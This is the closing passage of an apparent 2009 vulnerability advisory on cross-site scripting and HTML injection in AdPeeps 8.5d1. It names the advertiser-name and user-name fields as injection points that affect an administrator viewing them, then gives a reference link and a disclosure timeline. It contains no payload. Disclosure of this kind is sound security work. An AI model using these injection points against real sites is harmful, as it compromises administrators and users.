Conclusion: Even if One decides to (ab)use the Advertiser Name, First- and Last-name's as injection points and the administrator sees this (in an e-mail), then he will still be affected by the injection and possibly have a hard time deleting those malicious users safely except if he might have NoScript turned on for his own website. (the injection points might render the desired pages useless) Reference: http://forum.intern0t.net/exploits-vulnerabilities-pocs/1049-intern0t-ad peeps-8-5d1-cross-site-scripting-html-injection-vulnerabilities.html Disclosure Information: - Vulnerabilities found 26th May 2009. - Advisory finished and published on InterN0T th 27th May. - Bugtraq (SecurityFocus) and Milw0rm contacted the 27th May. *AdPeeps will be contacted soon.
